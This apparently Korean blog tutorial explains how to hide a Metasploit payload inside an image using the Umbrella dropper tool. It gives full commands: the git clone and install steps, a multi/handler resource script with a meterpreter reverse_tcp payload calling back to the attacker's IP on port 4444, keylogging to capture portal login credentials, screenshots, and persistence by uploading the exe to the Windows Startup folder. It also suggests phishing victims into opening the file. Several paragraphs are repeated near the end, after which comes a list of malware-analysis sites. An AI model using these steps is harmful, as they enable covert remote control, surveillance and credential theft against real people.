익스플로잇을 위한 exe 파일을 만들었다면 웹서버 루트디렉터리에 해당 악성 파일과 나중에 합칠 이미지 파일을 함께 업로드한다. 그 후 이미지 악성코드 생성을 위한 4w4k3을 다운받는다. 칼리리눅스에서 아래의 깃 명령을 사용하여 받아오도록 하자.

  1. git clone https://github.com/4w4k3/Umbrella.git

Umbrella 디렉토리로 이동하여 아래와 같이 install 명령을 수행한다.

  1. chmod 777 install.sh
  2. ./install.sh

중간에 서버 접속 실패라는 메시지가 뜨면 인스톨 파일을 재실행해야 한다. 설치 과정에서 나오는 win py32는 꼭 다운로드하고 옵션은 기본 값으로 놓고 진행한다.

설치가 완료되면 Umbrella를 실행한다.

  1. python umbrella.py

Umbrella 옵션은 D(Gen Dropper), 4번(Image Dropper)을 선택한다.

그 후 아까 만들어놓았던 악성 파일의 위치와 사진 파일을 업로드한다. Insert url from your exe to drop: [서버ip/악성 파일] Ex) http://192.168.0.186/1234.exe Insert url from file to embed: [서버ip/사진 파일] Ex) http://192.168.0.186/cat.jpg

명령을 실행하고나면 .../Umbrella/dist 디렉토리에 이미지 악성 파일이 생성됐을 것이다.

이제 상대가 내 포트로 들어올 수 있도록 악성 파일을 생성할 때 입력했던 4444 포트를 열어줄 것이다.

포트를 열기 위한 명령어의 묶음을 파일로 만들어 준다. use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.0.186 // 칼리 ip set lport 4444 set exitonsession false // 백그라운드로 세션을 하기 위해서 사용한다. exploit -j // 연결 대기

필자는 local_handler.rc라는 이름으로 만들었는데 파일명은 아무거나 해도 상관없지만 확장자는 rc로 저장해야 한다.

이제 아래 명령을 수행하면 대상 시스템이 악성 코드를 실행할 때까지 포트를 열고 기다리는 상태가 된다.

  1. msfconsole -r local_handler.rc

여기서 공격자가 추가로 해야하는 것은 윈도우 사용자가 저 사진 파일을 열어보도록 해야한다. 이는 사회공학적 기법을 활용하여 피싱 메일을 보내거나 본인이 운영하는 웹 페이지에 관심을 끌 수 있는 사진 파일을 올리는 등 여러 가지 수단이 있을 것이다.

한 가지 가정을 하자면 윈도우 사용자는 웹 페이지를 둘러보다가 고양이 사진을 보려고 공격자의 서버에 접속한 상황이라고 예를 들어보자.

사용자는 멀쩡한 사진을 보고 있는 것 같지만 실제로는 악성 행위도 같이 실행되는 트로이목마 바이러스에 걸려든 것이다.

그 후 공격자는 해당 사용자의 시스템 제어 권한을 획득하였다.

0.186이 공격자, 0.215가 피해자 ip이다.

이제 공격자는 대상이 어떤 작업을 하는지 지켜볼 수 있다. 해당 사용자가 웹캠을 쓰면 사용자의 모습을 녹화할 수 있고 윈도우 작업 화면을 찍을 수도 있다.

우선 간단하게 screenshot 명령을 통해서 대상이 작업중인 화면을 찍어보자.

상대방의 윈도우 화면이 사진으로 저장된 모습이다.

이뿐만 아니라 대상이 입력하는 키값을 볼 수도 있다. 키로그 명령을 사용하면 상대방이 입력한 모든 키들을 공격자에게 전송한다. 여기서 공격자가 선호하는 정보들은 아마도 특정 포털 사이트에 로그인하는 정보들일 것이다.

실제로 아래의 명령을 사용하여 키로깅을 시작하고 대상 컴퓨터에서 네이버 계정으로 로그인해보자.

keyscan_start

대상 시스템에서 네이버 계정을 치고 들어간다. 이후 공격자가 keyscan_dump를 입력하면 상대가 네이버 포털 사이트에서 입력했던 계정 정보들을 확인할 수 있다.

아이디가 abcd1234, 비밀번호는 password12345라고 입력한 것이 확인된다. 반대로 키를 전송하는 명령어인 keyboard_send도 있으며 아래와 같이 사용한다. keyboard_send "상대에게 보낼 키보드 입력값 지정"

더 많은 기능들은 help 명령을 통해 조회가 가능하니 참고하자.

그런데 여기서 문제 하나가 있다. 대상 컴퓨터가 재부팅을 하면 공격자와의 세션이 끊기게 된다는 점이다. 이 경우 피해자가 악성 행위를 하는 파일을 다시 실행해야 세션 탈취가 가능하다. 하지만 애초에 공격자가 피해자 컴퓨터에다가 악성 파일을 시작 프로그램에 올려두면 시작 프로그램 폴더에 있는 파일들은 컴퓨터가 시작될 때 자동으로 실행되므로 컴퓨터를 재부팅해도 다시 세션을 받아올 수 있다.

이제 윈도우 시작 프로그램에 악성 파일을 업로드해보자. 시작프로그램 경로는 아래와 같다. C:\Users\사용자\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

미터프리터에서 파일을 올릴 때는 아래 명령어를 사용한다. upload [절대경로 및 파일이름]

그리고 파일은 msfvenom으로 만들어놓았던 exe 악성 파일을 올린다. 그 이유는 컴퓨터가 재부팅될 때 뜬금없이 사진이 뜬다면 사용자가 의심하게 되기 때문이다. 저 작업을 해두면 컴퓨터를 껐다 켜도 항상 공격자와 피해자 세션 상태가 유지된다.


윈도우 사용자는 웹 페이지를 둘러보다가 고양이 사진을 보려고 공격자의 서버에 접속

MSFVenom을 이용하여 이미지 파일에 악성코드 주입하기

2020. 5. 21.

여기서 공격자가 추가로 해야하는 것은 윈도우 사용자가 저 사진 파일을 열어보도록 해야한다. 이는 사회공학적 기법을 활용하여 피싱 메일을 보내거나 본인이 운영하는 웹 페이지에 관심을 끌 수 있는 사진 파일을 올리는 등 여러 가지 수단이 있을 것이다.

한 가지 가정을 하자면 윈도우 사용자는 웹 페이지를 둘러보다가 고양이 사진을 보려고 공격자의 서버에 접속한 상황이라고 예를 들어보자.

사용자는 멀쩡한 사진을 보고 있는 것 같지만 실제로는 악성 행위도 같이 실행되는 트로이목마 바이러스에 걸려든 것이다.

그 후 공격자는 해당 사용자의 시스템 제어 권한을 획득하였다.


악성코드 분석 관련 정보 제공 사이트

* 바이러스토탈(미국): [[2]]
* malwr: [[3]]
* virscan: [[4]]
* 메타스캔 온라인(미국): [[5]]
* 제로서트(한국): [[6]]
* 멀웨어즈닷컴(한국): [[7]]
* 망고스캔(한국): [[8]]
* 포이즌아이(한국): [[9]]
* 캐츠워즈(한국): [[10]]